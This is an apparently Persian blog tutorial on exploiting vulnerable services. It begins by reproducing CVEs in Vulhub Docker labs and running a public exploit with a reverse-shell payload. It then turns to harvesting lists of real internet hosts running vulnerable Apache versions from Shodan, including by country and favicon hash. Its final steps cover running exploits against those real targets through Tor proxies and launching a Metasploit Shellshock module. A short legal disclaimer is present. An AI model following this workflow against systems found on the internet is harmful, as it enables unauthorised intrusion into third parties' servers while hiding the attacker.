یک Exploit موفق: از Vulhub تا Shodan
نویسنده: یاسین عابدینی · دسته: RedTeam · تاریخ انتشار: ۱۴۰۵/۲/۱۲
چگونه یک سرویس آسیبپذیر را Exploit کنیم؟ راهنمای جامع از صفر تا صد
مقدمه
Exploitation یکی از مهمترین مهارتهای امنیت تهاجمی است که نیازمند دانش فنی، صبر و حوصله، و رویکرد سیستماتیک است. در این مقاله، فرآیند کامل شناسایی، تست و بهرهبرداری از آسیبپذیریهای سرویسها را به صورت گامبهگام بررسی میکنیم.
گام اول: راهاندازی محیط آزمایشگاهی با Vulhub
کلون کردن مخزن Vulhub
git clone https://github.com/vulhub/vulhub.git
cd vulhub
نکات مهم:
- Vulhub یک مجموعه عظیم از محیطهای آسیبپذیر Docker-based است
- هر پوشه شامل یک آسیبپذیری خاص با Docker Compose آماده است
- قبل از شروع، حتماً Docker و Docker Compose را نصب کنید
بررسی وجود سرویس مورد نظر
ls -la | grep <service-name>
# مثال: ls -la | grep apache
چکلیست بررسی:
- آیا سرویس مورد نظر در Vulhub موجود است؟
- چه نسخههایی از آن سرویس در دسترس است؟
- آیا CVE خاصی که دنبالش هستید وجود دارد؟
گام دوم: تنظیم نسخه آسیبپذیر
ویرایش فایل docker-compose.yml
اگر نسخه مورد نظرتان در Vulhub نیست، باید آن را بهروزرسانی کنید:
version: '3'
services:
vulnerable-service:
image: vulnerable-app:2.4.49 # نسخه آسیبپذیر خود را اینجا قرار دهید
ports:
- "8080:80"
environment:
- VULNERABLE_CONFIG=true
نکات کلیدی:
- همیشه از نسخه دقیق آسیبپذیر استفاده کنید (نه latest)
- پورتها را به گونهای تنظیم کنید که با سیستم شما تداخل نداشته باشد
- لاگها را فعال کنید تا بتوانید رفتار سرویس را مانیتور کنید
راهاندازی محیط
docker-compose up -d
docker-compose ps # بررسی وضعیت کانتینرها
docker-compose logs -f # مشاهده لاگها
گام سوم: جستجو و پیدا کردن Exploit
جستجوی هدفمند در GitHub
# فرمت جستجو:
github.com/search?q=CVE-2021-44228+exploit
github.com/search?q=<service-name>+<version>+exploit+poc
منابع معتبر برای Exploit:
- GitHub: بزرگترین مخزن POC و Exploit
- Exploit-DB: پایگاه داده رسمی Offensive Security
- Packet Storm: آرشیو قدیمی اما معتبر
- 0day.today: Exploitهای جدید (برخی پولی)
نکات امنیتی:
- هرگز Exploit را بدون بررسی کد اجرا نکنید
- بسیاری از Exploitهای عمومی حاوی backdoor هستند
- همیشه کد را در محیط ایزوله تست کنید
تحلیل کد Exploit
قبل از اجرا، این موارد را بررسی کنید:
# چک کنید که Exploit چه کاری انجام میدهد:
# 1. آیا به سرورهای خارجی متصل میشود؟
# 2. آیا فایلهای سیستمی را تغییر میدهد؟
# 3. آیا اطلاعات را به جایی ارسال میکند؟
گام چهارم: تست Exploit روی محیط آزمایشگاهی
اجرای اولیه
python3 exploit.py --target http://localhost:8080 --payload reverse_shell
سناریوهای احتمالی:
سناریو 1: Exploit کار نمیکند ❌
دلایل متداول:
- تفاوت در نسخه دقیق سرویس
- تفاوت در تنظیمات محیطی
- وابستگیهای کتابخانهای
- تغییرات در پروتکل یا API
راهحلها:
# 1. فعال کردن حالت debug
python3 exploit.py --target http://localhost:8080 --debug --verbose
# 2. استفاده از Burp Suite برای بررسی ترافیک
# 3. مقایسه request موفق با request ناموفق
سناریو 2: نیاز به تنظیمات اضافی
# مثال: تنظیم User-Agent خاص
headers = {
'User-Agent': 'Mozilla/5.0 (compatible; ExploitBot/1.0)',
'X-Forwarded-For': '127.0.0.1'
}
# مثال: تنظیم timeout مناسب
requests.post(target, data=payload, timeout=30)
گام پنجم: دیباگ و اصلاح Exploit
تکنیکهای دیباگ حرفهای
1. استفاده از Wireshark:
sudo wireshark -i lo -f "port 8080"
2. بررسی لاگهای سرویس:
docker-compose logs -f | grep ERROR
3. تست دستی با cURL:
curl -X POST http://localhost:8080/vulnerable-endpoint \
-H "Content-Type: application/json" \
-d '{"exploit":"payload"}' \
-v
اصلاح کد Exploit
# مثال: اضافه کردن retry mechanism
import time
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry
def create_session():
session = requests.Session()
retry = Retry(total=3, backoff_factor=0.3)
adapter = HTTPAdapter(max_retries=retry)
session.mount('http://', adapter)
session.mount('https://', adapter)
return session
# مثال: اضافه کردن error handling بهتر
try:
response = session.post(target, data=payload, timeout=10)
if response.status_code == 200:
print("[+] Exploit successful!")
else:
print(f"[-] Unexpected status code: {response.status_code}")
except requests.exceptions.Timeout:
print("[-] Request timed out")
except requests.exceptions.ConnectionError:
print("[-] Connection failed")
گام ششم: شناسایی تارگتهای واقعی با Shodan
جستجوی هوشمند در Shodan
# نصب Shodan CLI
pip install shodan
shodan init YOUR_API_KEY
# جستجوی سرویس آسیبپذیر
shodan search "Apache 2.4.49" --fields ip_str,port,org,hostnames
shodan search "product:Apache version:2.4.49"
فیلترهای مفید Shodan:
# جستجوی بر اساس بنر
http.title:"Apache Server"
# جستجوی بر اساس کشور
country:US
# جستجوی بر اساس پورت
port:8080
# جستجوی بر اساس سازمان
org:"Amazon"
# جستجوی بر اساس favicon hash
http.favicon.hash:12345678
# ترکیبی
product:Apache version:2.4.49 country:IR port:80
جستجوی پیشرفته با Favicon Hash
یکی از تکنیکهای قدرتمند در Shodan، جستجو بر اساس hash آیکون سایت است. هر وباپلیکیشن معمولاً یک favicon منحصر به فرد دارد که میتوان از آن برای شناسایی نمونههای مشابه استفاده کرد.
نحوه محاسبه favicon hash:
import requests
import mmh3
import codecs
response = requests.get('http://target.com/favicon.ico')
favicon = codecs.encode(response.content, "base64")
hash_value = mmh3.hash(favicon)
print(f"Favicon Hash: {hash_value}")
جستجو در Shodan با favicon hash:
# جستجوی تمام سایتهایی که همین favicon را دارند
shodan search "http.favicon.hash:12345678"
# ترکیب با فیلترهای دیگر
shodan search "http.favicon.hash:12345678 country:US"
shodan search "http.favicon.hash:12345678 port:443"
کاربردهای favicon hash:
- شناسایی تمام نمونههای یک CMS یا فریمورک خاص
- پیدا کردن سرورهای مشابه یک تارگت
- شناسایی پنلهای مدیریتی خاص
- کشف زیرساختهای مشترک یک سازمان
استخراج و مدیریت تارگتها
import shodan
api = shodan.Shodan('YOUR_API_KEY')
# جستجو
results = api.search('Apache 2.4.49')
# ذخیره تارگتها
with open('targets.txt', 'w') as f:
for result in results['matches']:
f.write(f"{result['ip_str']}:{result['port']}\n")
گام هفتم: اجرای Exploit روی تارگتهای واقعی
⚠️ هشدارهای قانونی و اخلاقی
قبل از هر اقدامی:
- فقط روی سیستمهایی تست کنید که مجوز کتبی دارید
- Unauthorized access جرم است و پیامدهای قانونی دارد
- از VPN و Proxy استفاده کنید (حتی در تستهای مجاز)
- هرگز دادهها را تغییر یا حذف نکنید
نکات پیشرفته و بهترین شیوهها
1. استفاده از Proxy Chain
proxies = {
'http': 'socks5://127.0.0.1:9050', # Tor
'https': 'socks5://127.0.0.1:9050'
}
response = requests.post(target, proxies=proxies, data=payload)
ابزارهای کمکی
1. Nuclei - اسکنر آسیبپذیری
nuclei -u http://target.com -t cves/
2. Metasploit Framework
msfconsole
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS target.com
set RPORT 80
exploit
3. Burp Suite - تحلیل ترافیک
- استفاده از Repeater برای تست دستی
- استفاده از Intruder برای fuzzing
- استفاده از Logger برای ذخیره request/response